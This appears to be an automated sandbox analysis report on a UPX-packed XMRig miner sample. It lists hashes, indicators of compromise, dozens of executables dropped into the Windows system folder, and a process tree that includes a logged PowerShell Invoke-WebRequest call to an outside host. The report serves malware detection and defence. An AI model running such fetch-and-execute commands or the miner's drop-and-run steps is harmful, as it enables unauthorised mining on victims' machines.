xmrig | 3aed581c952f55928cacc70d7de32a8c534a9bbb98ae916a2dd6b978c7e3dcfc

Analysis

max time kernel
34s
max time network
33s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
29/04/2024, 02:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
Size

1.9MB
MD5

06a1e040a8e665181a1d3465192a9034
SHA1

36a8806d0ac5dd8c4305f04a5f6de1e1c6cbc49c
SHA256

3aed581c952f55928cacc70d7de32a8c534a9bbb98ae916a2dd6b978c7e3dcfc
SHA512

c3196ff1b3cf5e2051f5a8c26519a700d3c220c48a5d30dbb026dc9d4d48492096e012b7cdeb2bd05e6925cd44575435925628ac26d912ff7d27870bf4b1341d
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4p/pOX:NABy

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2608-197-0x000000013FB30000-0x000000013FF22000-memory.dmp	xmrig
behavioral1/memory/2644-194-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	xmrig
behavioral1/memory/2620-208-0x000000013FEC0000-0x00000001402B2000-memory.dmp	xmrig
behavioral1/memory/2700-206-0x000000013FF20000-0x0000000140312000-memory.dmp	xmrig
behavioral1/memory/2748-204-0x000000013F550000-0x000000013F942000-memory.dmp	xmrig
behavioral1/memory/2492-202-0x000000013F4B0000-0x000000013F8A2000-memory.dmp	xmrig
behavioral1/memory/2712-199-0x000000013FB40000-0x000000013FF32000-memory.dmp	xmrig
behavioral1/memory/2324-192-0x000000013FB80000-0x000000013FF72000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
3052	yODbbzi.exe
2324	jcydpxp.exe
2644	qocYWwZ.exe
2608	MpVcupd.exe
2712	bNfSmhu.exe
2492	vRjqQdu.exe
2748	FuhMJFI.exe
2700	kZIuUOJ.exe
2620	jPgLsbc.exe
2468	RzIPUpM.exe
2900	IYoqZYI.exe
2520	MtcYDiI.exe
320	ErmhdpA.exe
2532	DLOrVHE.exe
1632	WgYuTSK.exe
2088	zyCidsR.exe
2752	egBXLDC.exe
1172	GRPtKHw.exe
2796	JCUKfCw.exe
2892	RYLjKwk.exe
2640	YvJHHtv.exe
1524	hTUgOHc.exe
1960	KuMbIRw.exe
2020	CQRhelR.exe
1976	oenavLz.exe
600	pguqcRq.exe
2776	EgulEHu.exe
1492	BJUDGVE.exe
1624	LDaRVhL.exe
2868	xGNLlSO.exe
1620	TGVYtxe.exe
1268	YrCsvqr.exe
688	qgnuZmk.exe
548	FqBzCMS.exe
1804	nUUdNny.exe
2008	NvzOJiu.exe
344	OhxbwJU.exe
2980	IIxWEhR.exe
1416	GNXahfC.exe
1352	XrWrlrI.exe
2968	VhrdsgM.exe
2368	eQgrJBo.exe
1312	eBQWZve.exe
332	XOWMbOl.exe
2256	YiQCXrw.exe
2972	pRgINZU.exe
2376	kkppNIc.exe
1692	GDpyrEg.exe
1768	GlNUmiE.exe
1896	tbKVxvr.exe
948	goAEeBD.exe
2988	SoHzKXI.exe
2100	oNVeDqg.exe
2580	sOSesED.exe
2920	IePtMpr.exe
2488	WUahgEf.exe
2648	CxyyCxW.exe
1688	ZGzCztH.exe
2848	vAHAVxn.exe
2684	jaAVpae.exe
2036	BAiQcit.exe
1156	dhtylNp.exe
1168	JNCNjCy.exe
3020	SALHINW.exe

Loads dropped DLL 64 IoCs

pid	Process
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe

UPX packed file 45 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2360-0-0x000000013F190000-0x000000013F582000-memory.dmp	upx
behavioral1/files/0x000b0000000141a2-5.dat	upx
behavioral1/memory/3052-13-0x000000013F130000-0x000000013F522000-memory.dmp	upx
behavioral1/files/0x00090000000143ec-15.dat	upx
behavioral1/files/0x000f000000005578-22.dat	upx
behavioral1/files/0x0008000000014667-32.dat	upx
behavioral1/files/0x00070000000146a2-30.dat	upx
behavioral1/files/0x0007000000014af6-54.dat	upx
behavioral1/files/0x0006000000014b70-66.dat	upx
behavioral1/files/0x0006000000014ef8-74.dat	upx
behavioral1/files/0x00060000000155ed-84.dat	upx
behavioral1/files/0x0006000000015616-101.dat	upx
behavioral1/files/0x0006000000015c52-122.dat	upx
behavioral1/files/0x0006000000015cce-147.dat	upx
behavioral1/files/0x0006000000015cf6-158.dat	upx
behavioral1/files/0x0006000000014b31-82.dat	upx
behavioral1/files/0x0006000000015605-98.dat	upx
behavioral1/memory/2608-197-0x000000013FB30000-0x000000013FF22000-memory.dmp	upx
behavioral1/memory/2644-194-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	upx
behavioral1/memory/2620-208-0x000000013FEC0000-0x00000001402B2000-memory.dmp	upx
behavioral1/memory/2700-206-0x000000013FF20000-0x0000000140312000-memory.dmp	upx
behavioral1/memory/2748-204-0x000000013F550000-0x000000013F942000-memory.dmp	upx
behavioral1/memory/2492-202-0x000000013F4B0000-0x000000013F8A2000-memory.dmp	upx
behavioral1/memory/2712-199-0x000000013FB40000-0x000000013FF32000-memory.dmp	upx
behavioral1/memory/2324-192-0x000000013FB80000-0x000000013FF72000-memory.dmp	upx
behavioral1/files/0x0006000000015cfe-161.dat	upx
behavioral1/files/0x0006000000015626-157.dat	upx
behavioral1/files/0x0006000000015cee-152.dat	upx
behavioral1/files/0x0006000000015c9f-145.dat	upx
behavioral1/files/0x0006000000015cb6-143.dat	upx
behavioral1/files/0x0006000000015c83-135.dat	upx
behavioral1/files/0x0006000000015c6b-126.dat	upx
behavioral1/files/0x00060000000155f3-120.dat	upx
behavioral1/files/0x0006000000015c3d-116.dat	upx
behavioral1/files/0x0006000000015018-110.dat	upx
behavioral1/files/0x0006000000014de9-92.dat	upx
behavioral1/files/0x0006000000015d07-167.dat	upx
behavioral1/files/0x0007000000014abe-72.dat	upx
behavioral1/files/0x0006000000015c78-133.dat	upx
behavioral1/files/0x0006000000015b6f-115.dat	upx
behavioral1/files/0x00070000000149f5-53.dat	upx
behavioral1/files/0x000b000000014825-46.dat	upx
behavioral1/files/0x00060000000155f7-97.dat	upx
behavioral1/files/0x000a0000000146b8-33.dat	upx
behavioral1/files/0x00090000000146c0-40.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GQtLjYd.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\QNbdwKN.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ujsUPwm.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\yMkxsoA.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\wkJgHna.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\aveYGZx.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\EJoJTGh.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\RnmQVDC.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ZlpvMIr.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\wSFZyQM.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\RXxOtGA.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\iWyHxXu.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\WpNfobm.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\BDxXwDa.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\PdhRcse.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\SvXJCqW.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\tyDjRos.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\XWcXBeF.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\oSOadCH.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\AekNJnG.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\LKTsaVq.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\VNVtVow.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\URXAgiy.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\PTIztcf.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\FomMKAw.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ruztbCR.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\kkQdnnm.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\vEDEUTA.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\IftsauY.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\oDRYCHG.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\rSXQPXk.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\rwLHXcy.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\EPXAxur.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\asoWIgo.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\NZeCnMn.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\fjgxnen.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\cRyNIli.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\vGCqKCj.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ExkvCiu.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ZLfkRQS.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\VqXIzEt.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\wnNhGQz.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\SQUEGBa.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\BZLfKgM.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\VTnPrcc.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\odZycRb.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\YpvOCgR.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\JOFVMcH.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\DMDoIGI.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\osXHExl.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\AsbcZfA.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\wtSPOjN.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\BlsqwvK.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\tIYItKZ.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\EWhBfit.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\gQxVwlH.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\suxkccg.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\pCmIQfr.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\HagbEbe.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\gUuANrJ.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\yOCDUjy.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\TDIxdQk.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\ADIvrBV.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
File created	C:\Windows\System\NXsXqvf.exe	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeLockMemoryPrivilege	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2936	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	29
PID 2360 wrote to memory of 2936	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	29
PID 2360 wrote to memory of 2936	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	29
PID 2360 wrote to memory of 3052	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	30
PID 2360 wrote to memory of 3052	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	30
PID 2360 wrote to memory of 3052	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	30
PID 2360 wrote to memory of 2324	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2324	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2324	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2644	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2644	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2644	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2712	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2712	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2712	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2608	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2608	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2608	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2748	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2748	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2748	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2492	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2492	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2492	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2700	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2700	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2700	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2620	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2620	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2620	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2520	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2520	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2520	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2468	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2468	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2468	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2532	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2532	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2532	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2900	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2900	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2900	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2088	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	43
PID 2360 wrote to memory of 2088	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	43
PID 2360 wrote to memory of 2088	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	43
PID 2360 wrote to memory of 320	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	44
PID 2360 wrote to memory of 320	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	44
PID 2360 wrote to memory of 320	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	44
PID 2360 wrote to memory of 2796	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	45
PID 2360 wrote to memory of 2796	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	45
PID 2360 wrote to memory of 2796	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	45
PID 2360 wrote to memory of 1632	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	46
PID 2360 wrote to memory of 1632	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	46
PID 2360 wrote to memory of 1632	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	46
PID 2360 wrote to memory of 2640	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2640	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2640	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2752	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	48
PID 2360 wrote to memory of 2752	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	48
PID 2360 wrote to memory of 2752	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	48
PID 2360 wrote to memory of 2020	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	49
PID 2360 wrote to memory of 2020	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	49
PID 2360 wrote to memory of 2020	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	49
PID 2360 wrote to memory of 1172	2360	06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06a1e040a8e665181a1d3465192a9034_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\System\yODbbzi.exe
  C:\Windows\System\yODbbzi.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\jcydpxp.exe
  C:\Windows\System\jcydpxp.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\qocYWwZ.exe
  C:\Windows\System\qocYWwZ.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\bNfSmhu.exe
  C:\Windows\System\bNfSmhu.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\MpVcupd.exe
  C:\Windows\System\MpVcupd.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\FuhMJFI.exe
  C:\Windows\System\FuhMJFI.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\vRjqQdu.exe
  C:\Windows\System\vRjqQdu.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\kZIuUOJ.exe
  C:\Windows\System\kZIuUOJ.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\jPgLsbc.exe
  C:\Windows\System\jPgLsbc.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\MtcYDiI.exe
  C:\Windows\System\MtcYDiI.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\RzIPUpM.exe
  C:\Windows\System\RzIPUpM.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\DLOrVHE.exe
  C:\Windows\System\DLOrVHE.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\IYoqZYI.exe
  C:\Windows\System\IYoqZYI.exe
  2⤵
  - Executes dropped EXE
  PID:2900
- C:\Windows\System\zyCidsR.exe
  C:\Windows\System\zyCidsR.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\ErmhdpA.exe
  C:\Windows\System\ErmhdpA.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\JCUKfCw.exe
  C:\Windows\System\JCUKfCw.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\WgYuTSK.exe
  C:\Windows\System\WgYuTSK.exe
  2⤵
  - Executes dropped EXE
  PID:1632
- C:\Windows\System\YvJHHtv.exe
  C:\Windows\System\YvJHHtv.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\egBXLDC.exe
  C:\Windows\System\egBXLDC.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\CQRhelR.exe
  C:\Windows\System\CQRhelR.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\GRPtKHw.exe
  C:\Windows\System\GRPtKHw.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\EgulEHu.exe
  C:\Windows\System\EgulEHu.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\RYLjKwk.exe
  C:\Windows\System\RYLjKwk.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\xGNLlSO.exe
  C:\Windows\System\xGNLlSO.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\hTUgOHc.exe
  C:\Windows\System\hTUgOHc.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\TGVYtxe.exe
  C:\Windows\System\TGVYtxe.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\KuMbIRw.exe
  C:\Windows\System\KuMbIRw.exe
  2⤵
  - Executes dropped EXE
  PID:1960
- C:\Windows\System\YrCsvqr.exe
  C:\Windows\System\YrCsvqr.exe
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Windows\System\oenavLz.exe
  C:\Windows\System\oenavLz.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\qgnuZmk.exe
  C:\Windows\System\qgnuZmk.exe
  2⤵
